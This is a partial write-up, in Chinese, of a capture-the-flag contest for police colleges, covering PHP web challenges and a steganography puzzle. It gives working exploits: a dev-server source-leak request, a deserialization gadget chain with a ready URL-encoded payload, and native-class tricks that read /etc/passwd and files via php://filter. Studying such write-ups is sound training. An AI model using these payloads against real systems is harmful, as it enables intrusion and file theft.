【黄河流域公安院校网络空间安全技能挑战赛】部分wp
- 其他
- 2025-08-19 20:57:02

文章目录 webbabyPHPfunnyPHPEzphp**遍历文件目录的类**1、DirectoryIterator:2、FilesystemIterator:3、**Globlterator** 读取文件内容的类:SplFileObject Misc套娃 web babyPHP <?php highlight_file(__FILE__); error_reporting(0); $num = $_GET['num']; if (preg_match("/\'|\"|\`| |<|>|?|\^|%|\$/", $num)) { die("nononno"); } if (eval("return ${num} != 2;") && $num == 0 && is_numeric($num) != true) { system('cat flag.php'); } else { echo '2'; }
仔细读题,主要考察php弱类型比较,我们可以直接传字母就行:
http://43.138.65.13:2025/?num=a funnyPHP我们访问的路径为:
http://47.104.14.160:3344/hint.php当我们访问根目录时:
可以判断这里为: php Development Server 启动的服务
查询得知,这里考察的是 PHP<=7.4.21 Development Server源码泄露漏洞
GET /puzzle.php HTTP/1.1 Host: pd.research \r\n \r\n GET / HTTP/1.1 \r\n \r\n当我们以如上方式发送数据包时,我们可以获得 puzzle.php 的源码:
使用bp时要注意,我们要把 自动填充 content-length关闭掉
源码如下:
<?php error_reporting(0); class A{ public $sdpc = ["welcome" => "yeah, something hidden."]; function __call($name, $arguments) { $this->$name[$name](); } } class B{ public $a; function __construct() { $this->a = new A(); } function __toString() { echo $this->a->sdpc["welcome"]; //对大家表示欢迎 } } class C{ public $b; protected $c; function __construct(){ $this->c = new B(); } function __destruct(){ $this->b ? $this->c->sdpc('welcom') : 'welcome!'.$this->c; //变着法欢迎大家 } } class Evil{ function getflag() { echo file_get_contents('/fl4g'); } } if(isset($_POST['sdpc'])) { unserialize($_POST['sdpc']); } else { serialize(new C()); } ?>这是一个反序列化漏洞,我们可以如下构造:
<?php error_reporting(0); class A { public $sdpc; function __construct() { $this->sdpc = array("sdpc" => array(new Evil(),'getflag')); }//注意修改$sdpc的值为一个数组 //array('sdpc'=>array(new Evil(),'getflag')) function __call($name, $arguments) { $name[$name](); } } class B { public $a; function __construct() { $this->a = new A(); } function __toString() { echo $this->a->sdpc["welcome"]; //对大家表示欢迎 } } class C { public $b; protected $c; function __construct() { $this->c = new A(); //注意修改为创建A类对象 } function __destruct() { $this->b ? $this->c->sdpc('welcom') : 'welcome!' . $this->c; //给b赋值 ,触发 ___call } } class Evil { function getflag() { echo '1'; file_get_contents('/fl4g'); } } $ca = new A(); $cb = new B(); $cc = new C(); $cc->b = 'sp4c1ous'; echo urlencode(serialize($cc));payload:
sdpc=O%3A1%3A%22C%22%3A2%3A%7Bs%3A1%3A%22b%22%3Bs%3A8%3A%22sp4c1ous%22%3Bs%3A4%3A%22%00%2A%00c%22%3BO%3A1%3A%22A%22%3A1%3A%7Bs%3A4%3A%22sdpc%22%3Ba%3A1%3A%7Bs%3A4%3A%22sdpc%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A4%3A%22Evil%22%3A0%3A%7B%7Di%3A1%3Bs%3A7%3A%22getflag%22%3B%7D%7D%7D%7D这里有一个点:
<?php class Evil { function getflag() { echo '1'; } } print_r(array(new Evil(),'getflag')()); //输出: 1array(new Evil(),'getflag')()
这样子相当于 Evil对象eval调用它的getflag()方法: eval::getflag()
这里不是很懂
Ezphp <?php error_reporting(0); highlight_file(__FILE__); $g = $_GET['g']; $t = $_GET['t']; echo new $g($t);这个地方直接要我们创建对象,但是又没有自定义类,所以我们应该寻找php原生类
最初我想到的是 Error、Exception类,但是没什么用,可以用来执行xss漏洞
然后我找到了如下几个类:
遍历文件目录的类 DirectoryIteratorFilesystemIteratorGlobIterator 1、DirectoryIterator:会创建一个指定目录的迭代器。当执行到echo函数时,会触发DirectoryIterator类中的 __toString() 方法,输出指定目录里面经过排序之后的第一个文件名
我们可以配合glob协议 模式匹配来寻找我们想要的文件路径:
http://43.138.65.13:2023/?g=DirectoryIterator&t=glob:///var/ /h* //回显:html我们想要得到路径下所有的文件、目录,需要遍历输出:
$a = new DirectoryIterator("glob:///*"); foreach($a as $f){ echo($f->__toString().'<br>'); } 2、FilesystemIterator:和上面差不多:
$a = new FilesystemIterator("glob:///*"); foreach($a as $f){ echo($f->__toString().'<br>'); } 3、Globlterator与前两个类的作用相似,GlobIterator 类也是可以遍历一个文件目录,使用方法与前两个类也基本相似。但与上面略不同的是其行为类似于 glob(),可以通过模式匹配来寻找文件路径。
在这个类中不需要配合glob伪协议,可以直接使用 传参直接给路径就行
读取文件内容的类: SplFileObject(PHP 5 >= 5.1.2, PHP 7, PHP 8)
SplFileInfo 类为单个文件的信息提供了一个高级的面向对象的接口,可以用于对文件内容的遍历、查找、操作。
SplFileObject继承自 SplFileInfo
http://43.138.65.13:2023/?g=SplFileObject&t=/etc/passwd读取到了 /etc/passwd 内容
这里我们可以结合php伪协议:
http://43.138.65.13:2023/?g=SplFileObject&t=php://filter/convert.base64-encode/resource=flag.php成功读取flag
相关文章
Misc 套娃解压密码在最底下
打开txt文件,ZjRrM19rM3k= base64解密是一个假的key
我们滑倒txt文件最底下:
有一大堆不可见的东西,在记事本打开:
发现没有什么,这因该是零宽字符
零宽字符解密
XzFzX0U0NXk= 解密得到key:_1s_E45y
然后我们观察一下图片,猜测是 lsb隐写
但是 stegsolve 得到一串不知道什么得东西,我们猜测这是加密的lsb隐写,
我们可以使用 lsb隐写脚本: cloacked-pixel
结合之前我们得到的key,我们解密:
python2 lsb.py extract encode.png flag.txt _1s_E45y得到flag
【黄河流域公安院校网络空间安全技能挑战赛】部分wp由讯客互联其他栏目发布,感谢您对讯客互联的认可,以及对我们原创作品以及文章的青睐,非常欢迎各位朋友分享到个人网站或者朋友圈,但转载请说明文章出处“【黄河流域公安院校网络空间安全技能挑战赛】部分wp”